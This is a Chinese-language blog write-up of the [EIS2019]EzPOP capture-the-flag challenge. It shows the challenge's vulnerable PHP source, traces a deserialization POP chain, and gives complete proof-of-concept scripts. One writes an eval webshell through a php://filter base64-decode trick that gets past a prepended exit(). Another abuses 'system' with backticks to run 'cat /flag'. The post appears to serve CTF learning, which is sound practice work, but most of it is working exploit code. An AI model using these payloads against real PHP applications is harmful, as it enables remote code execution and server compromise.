程序员最近都爱上了这个网站  程序员们快来瞅瞅吧!  it98k网:it98k.com

本站消息

站长简介/公众号

  出租广告位,需要合作请联系站长

+关注
已关注

分类  

暂无分类

标签  

暂无标签

日期归档  

[EIS2019]EzPOP--反序列化题目

发布于2022-08-03 17:35     阅读(1287)     评论(0)     点赞(17)     收藏(3)


目录

上代码,开搞

逆向数据流分析

$data链

$filename链

POC1

正向函数调用分析

绕过exit()

利用base64编码,拼接掉前面的exit  

完整POC:

使用反引号绕过


题目地址:https://buuoj.cn/challenges#[EIS%202019]EzPOP

上代码,开搞

  1. <?php
  2. error_reporting(0);
  3. class A {
  4. protected $store;
  5. protected $key;
  6. protected $expire;
  7. public function __construct($store, $key = 'flysystem', $expire = null) {
  8. $this->key = $key;
  9. $this->store = $store;
  10. $this->expire = $expire;
  11. }
  12. public function cleanContents(array $contents) {
  13. $cachedProperties = array_flip([
  14. 'path', 'dirname', 'basename', 'extension', 'filename',
  15. 'size', 'mimetype', 'visibility', 'timestamp', 'type',
  16. ]);
  17. foreach ($contents as $path => $object) {
  18. if (is_array($object)) {
  19. $contents[$path] = array_intersect_key($object, $cachedProperties);
  20. }
  21. }
  22. return $contents;
  23. }
  24. public function getForStorage() {
  25. $cleaned = $this->cleanContents($this->cache);
  26. return json_encode([$cleaned, $this->complete]);
  27. }
  28. public function save() {
  29. $contents = $this->getForStorage();
  30. $this->store->set($this->key, $contents, $this->expire);
  31. }
  32. public function __destruct() {
  33. if (!$this->autosave) {
  34. $this->save();
  35. }
  36. }
  37. }
  38. class B {
  39. protected function getExpireTime($expire): int {
  40. return (int) $expire;
  41. }
  42. public function getCacheKey(string $name): string {
  43. return $this->options['prefix'] . $name;
  44. }
  45. protected function serialize($data): string {
  46. if (is_numeric($data)) {
  47. return (string) $data;
  48. }
  49. $serialize = $this->options['serialize'];
  50. return $serialize($data);
  51. }
  52. public function set($name, $value, $expire = null): bool{
  53. $this->writeTimes++;
  54. if (is_null($expire)) {
  55. $expire = $this->options['expire'];
  56. }
  57. $expire = $this->getExpireTime($expire);
  58. $filename = $this->getCacheKey($name);
  59. $dir = dirname($filename);
  60. if (!is_dir($dir)) {
  61. try {
  62. mkdir($dir, 0755, true);
  63. } catch (\Exception $e) {
  64. // 创建失败
  65. }
  66. }
  67. $data = $this->serialize($value);
  68. if ($this->options['data_compress'] && function_exists('gzcompress')) {
  69. //数据压缩
  70. $data = gzcompress($data, 3);
  71. }
  72. $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
  73. $result = file_put_contents($filename, $data);
  74. if ($result) {
  75. return true;
  76. }
  77. return false;
  78. }
  79. }
  80. if (isset($_GET['src']))
  81. {
  82. highlight_file(__FILE__);
  83. }
  84. $dir = "uploads/";
  85. if (!is_dir($dir))
  86. {
  87. mkdir($dir);
  88. }
  89. unserialize($_GET["data"]);

逆向数据流分析

发现代码中可利用点只有file_put_contents($filename, $data) ,所以我们从它开始倒推

我们需要分别找到$data的链和$filename的链

$data链

使options['data_compress']=false,不让$data压缩

data来自value,$data = $this->serialize($value);,

使options['serialize']=trim,这样serialize就变成trim函数了

serialize($value)为要写入的内容,由set传入

set由A的save调用,$this->store->set($this->key, $contents, $this->expire); 让$this->store = $b;才能调用set方法

value由$contents传入,分析$contents,$contents = $this->getForStorage();

进入getForStorage方法:返回值由$cleaned($this->cache控制), $this->complete控制,这里$this->cache有过滤,让$this->cache=array() ,并使$a->complete=payload

使$a->autosave=false,析构方法调用save方法

$filename链

在B的set中$filename = $this->getCacheKey($name);$name为set的参数1

getCacheKey中给name加了前缀,$this->options['prefix'] . $name,让$b->options['prefix']=文件名

save中$this->store->set($this->key, $contents, $this->expire);

总结,$a->key=.php,b->options['prefix']=要访问的文件名

POC1

给出目前的POC(注意:目前还不能得到flag,下文分析)

  1. <?php
  2. class A {
  3. protected $store;
  4. protected $key;
  5. protected $expire;
  6. public function __construct($store, $key = 'flysystem', $expire = null) {
  7. $this->key = $key;
  8. $this->store = $store;
  9. $this->expire = $expire;
  10. }
  11. }
  12. class B {
  13. }
  14. $b = new B();
  15. $b->options['data_compress']=false;
  16. $b->options['serialize']='trim';
  17. $b->options['prefix']='shell';
  18. $a = new A($b,'.php',null);
  19. $a->autosave=false;
  20. $a->cache=array();
  21. $a->complete='<?php phpinfo();?>';
  22. echo urlencode(serialize($a));
  23. ?>

正向函数调用分析

我们再正向来一遍(加粗的使函数,标红的是数据)

入口函数是__destruct()$a->autosavefalse,进入if分支,调用save方法。

$contents 为getForStorage()的返回值

进入getForStorage()方法,$a->completepayload,返回{,payload}

此时$contents={,payload}$a->key=.php$a->store=$b

调用b的set方法,$b->set('.php',payload,null)

进入b的set方法

调用getExpireTime$expire=0

调用getCacheKey$filename=shell.php

后面又调用serialize方法,进入发现返回b->options['serialize'](data),也就是说b->options['serialize']是一个函数名,用来处理data,这里为trim()不影响data

b->options['data_compress']false,不进入if分支

此时$data=<?php\n//000000000000\n exit();?>\npayload

最后file_put_contentsdata写入shell.php

绕过exit()

我们在本地测试,发现payload能写入shell.php,但是前面有exit(),不能执行

利用base64编码,拼接掉前面的exit  

  1. $b = new B();
  2. $b->options['data_compress']=false;
  3. $b->options['serialize']='trim';
  4. $b->options['prefix']='php://filter/write=convert.base64-decode/resource=uploads/shell';
  5. $a = new A($b,'.php',null);
  6. $a->autosave=false;
  7. $a->cache=array();
  8. $a->complete='aaa'.base64_encode('<?php @eval($_POST["shell"]);?>');
  9. echo urlencode(serialize($a));

完整POC:

  1. <?php
  2. class A {
  3. protected $store;
  4. protected $key;
  5. protected $expire;
  6. public function __construct($store, $key = 'flysystem', $expire = null) {
  7. $this->key = $key;
  8. $this->store = $store;
  9. $this->expire = $expire;
  10. }
  11. }
  12. class B {
  13. }
  14. $b = new B();
  15. $b->options['data_compress']=false;
  16. $b->options['serialize']='trim';
  17. $b->options['prefix']='php://filter/write=convert.base64-decode/resource=uploads/shell';
  18. $a = new A($b,'.php',null);
  19. $a->autosave=false;
  20. $a->cache=array();
  21. $a->complete='aaa'.base64_encode('<?php @eval($_POST["shell"]);?>');
  22. echo urlencode(serialize($a));
  23. ?>

使用反引号绕过

参考自https://www.sec-in.com/article/333

  1. $b = new B();
  2. $b-&gt;writeTimes = 0;
  3. $b -&gt; options = array('serialize' =&gt; "system",
  4. 'data_compress' =&gt; false,
  5. 'prefix' =&gt; "b");
  6. $a = new A($store = $b, $key = ".php", $expire = 0);
  7. $a-&gt;autosave = false;
  8. $a-&gt;cache = array();
  9. $a-&gt;complete = '`cat /flag &gt; ./flag.php`';
  10. echo urlencode(serialize($a));

相当于

system('[[],"`cat /flag &gt; ./flag.php`"]')

在shell里执行的时候 反引号 的优先级是高于引号的,所以会先执行cat /flag > ./flag.php,flag就被写到flag.php里面去了

来自ctf小菜鸡的日常分享,欢迎各位大佬留言。



所属网站分类: 技术文章 > 博客

作者:我叫你一声你敢答应吗

链接:http://www.phpheidong.com/blog/article/355565/b1aa869bc9806540973f/

来源:php黑洞网

任何形式的转载都请注明出处,如有侵权 一经发现 必将追究其法律责任

17 0
收藏该文
已收藏

评论内容:(最多支持255个字符)